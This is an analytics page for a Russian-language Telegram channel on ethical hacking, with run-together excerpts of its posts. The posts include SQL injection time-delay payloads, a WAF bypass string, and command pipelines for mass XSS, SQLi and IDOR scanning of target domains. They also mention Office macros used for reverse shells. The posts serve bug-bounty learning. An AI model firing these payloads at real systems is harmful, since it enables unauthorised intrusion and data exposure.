White Hat
Пишем про информационную безопасность и белый хакинг. Сотрудничество: @workhouse_price Канал на бирже: https://telega.in/c/kind_hack Канал в реестре РКН: https://clck.ru/3FtTnR
Показати більше📈 Аналітичний огляд Telegram-каналу White Hat
Канал White Hat (@kind_hack) у мовному сегменті Російська є активним учасником. На даний момент спільнота об'єднує 11 791 підписників, посідаючи 10 597 місце в категорії Технології та додатки та 55 585 місце у регіоні Росія.
📊 Показники аудиторії та динаміка
З моменту свого створення невідомо, проект продемонстрував стрімке зростання, зібравши аудиторію у 11 791 підписників.
За останніми даними від 25 червня, 2026, канал демонструє стабільну активність. Хоча за останні 30 днів спостерігається зміна кількості учасників на 384, а за останні 24 години на 13, загальне охоплення залишається високим.
- Статус верифікації: Не верифікований
- Рівень залученості (ER): Середній показник залученості аудиторії становить 8.32%. Протягом перших 24 годин після публікації контент зазвичай збирає 3.55% реакцій від загальної кількості підписників.
- Охоплення публікацій: В середньому кожен допис отримує 981 переглядів. Протягом першої доби публікація в середньому набирає 419 переглядів.
- Реакції та взаємодія: Аудиторія активно підтримує контент: середня кількість реакцій на один пост – 4.
- Тематичні інтереси: Контент зосереджений навколо ключових тем, таких як взлом, шпаргалка, обнаружение, протокол, хакер.
📝 Опис та контентна політика
Автор описує ресурс як майданчик для висловлення суб'єктивної думки:
“Пишем про информационную безопасность и белый хакинг.
Сотрудничество: @workhouse_price
Канал на бирже: https://telega.in/c/kind_hack
Канал в реестре РКН: https://clck.ru/3FtTnR”
Завдяки високій частоті оновлень (останні дані отримано 26 червня, 2026), канал підтримує актуальність та високий рівень охоплення публікацій. Аналітика показує, що аудиторія активно взаємодіє з контентом, що робить його важливою точкою впливу в категорії Технології та додатки.
| Привет, друг. На связи Эллиот.
Когда нужно проверить список доменов на Time-Based уязвимости и лень писать шаблон для Nuclei, можно заюзать httpx с параметрами -timeout, для указания максимального таймаута и -mrt, для вывода только результатов с определенной задержкой.
cat web.list | httpx -silent -path '/sitemap.xml?offset=1%3bSELECT%20IF((8303%3E8302)%2cSLEEP(10)%2c2356)%23' -rt -timeout 20 -mrt '>10'
Аналогично, для заголовков:
cat web.list | httpx -silent -H "X-Forwarded-For: 'XOR(if(now()=sysdate(),sleep(10),0))OR" -rt -timeout 20 -mrt '>10'
#Web #SQLi #RCEhttps://example.com на адрес тестируемого сайта и выполнить команду:
gospider -s https://example.com -c 10 -d 5 --blacklist ".(jpg|jpeg|gif|css|tif|tiff|png|ttf|woff|woff2|ico|pdf|svg|txt)" --other-source | grep -e "code-200" | awk '{print $5}' | grep "=" | qsreplace -a | dalfox pipe -o result.txt
#Web #XSShttps://targetdomain.com/user/3bf1114a986ba87ed28fc1b5884fc2f8
Для решения этой задачи, вы можете использовать простой bash-скрипт, совместно с ffuf.
Предположим, у вас есть конечная точка, которая принимает параметр id в виде md5. Мы можем проверить его на IDOR с помощью приведенной ниже команды, которая сгенерирует список чисел от 1 до 1000:
seq 1 1000 | hashit md5 | ffuf -w - -u https://targetdomain.com/user/FUZZ
#Web #IDOR #BashSLEEP(5) /*' or SLEEP(5) or'" or SLEEP(5) or "*/
Немного изменив ее, мы можем добиться отсутствия пробелов, что сделает ее более универсальной:
SLEEP(5)/*'or(SLEEP(5))or'"or(SLEEP(5))or"*/
Немного модифицировав её, вы сможете охватить некоторые другие случаи:
)SLEEP(0.5)(/*')or(SLEEP(0.5))or('")or(SLEEP(0.5))or("*/
Все дело в построении уязвимых SQL-запросов и поиска полезных нагрузок для каждого из них.
Данный список вы можете пополнить самостоятельно. Хорошей практикой будет использование тестовых лабораторий и создание нескольких полезных нагрузок для каждого сценария с использованием различных методов.
Это действительно улучшит ваши навыки работы с SQL-инъекциями и пополнит список рабочих полезных нагрузок в вашем арсенале.
Поэтому перестаньте использовать бесполезные вордлисты на 1к строк, не понимая должным образом, что они делают или как они работают. Помните, что из выбора бесполезного количества в ущерб качеству никогда не выйдет ничего хорошего, кроме потери действительно хороших возможностей.
P.S. Для тестов всего этого прекрасно подойдет sqlfiddle.com, в котором можно создавать и тестировать запросы к БД. Тут пример инъекции с применением полезных нагрузок из поста.
#Web #SQLi| Привет, друг. На связи Эллиот
Макросы из офисных документов Windows активно используются злоумышленниками или исследователями безопасности для доставки полезной нагрузки на сервер и компрометации системы.
В статье по ссылке представлен рабочий метод создания макроса для документов Word и Excel и его использование для вызова другого объекта, расположенного в свойствах документа. В видео ниже продемонстрировано получение реверс шелла с помощью этого метода.
⏺ Ссылка на чтиво
⏺ Ссылка на видеоматериал
#Word #Excel #Windowshttps://example.com/getUser?name=' or "=' (403 Forbidden)
https://example.com/getUser?name=' or 1337.e(")=' (200 OK)
#Web #WAF #SQLitrufflehog filesystem --directory=/results/domain.com
#Reconprintf site.com | gau
После этого начинаем вручную анализировать конечные точки и URL-адреса, уделяя особое внимание некоторым чувствительным ключевым словам:
invoice, discount, promo-code, join, redirect, reset_password, reset-password, password, TrackOrder, token, invite.
В примере на фото ниже привлекает внимание слово invite. После нажатия по данной ссылке открывается страница регистрации. После создания новой учетной записи с личной электронной почтой (@gmail.com) сайт просто перенаправляет на страницу компании внутри целевого приложения, содержащую всех приглашенных сотрудников и конфиденциальную информацию.
#Web #Leak| Привет, друг. На связи Эллиот.
Основные этапы JavaScript-разведки в Bug Bounty это:
1 - Сбор файлов JS от цели.
2 - Поиск конечных точек из файлов JS.
3 - Поиск секретов в файлах JS.
4 - Получение файлов JS локально для ручного анализа.
7 - Извлечение имен переменных из файлов JS для проверки на XSS.
8 - Сканировать файлов JS на наличие DomXSS.
Для автоматизация вышеперечисленных и некоторых других действий есть неплохой инструмент, под названием JSFScan. Достаточно передать ему список поддоменов и задать опции в соответствии с вашими предпочтениями.
Ниже представлено видео, демонстрирующее процесс работы с данным инструментом.
⏺ Ссылка на GitHub
⏺ Ссылка на видео
#Web #JS
Вже доступно! Дослідження Telegram за 2025 — головні інсайти року 
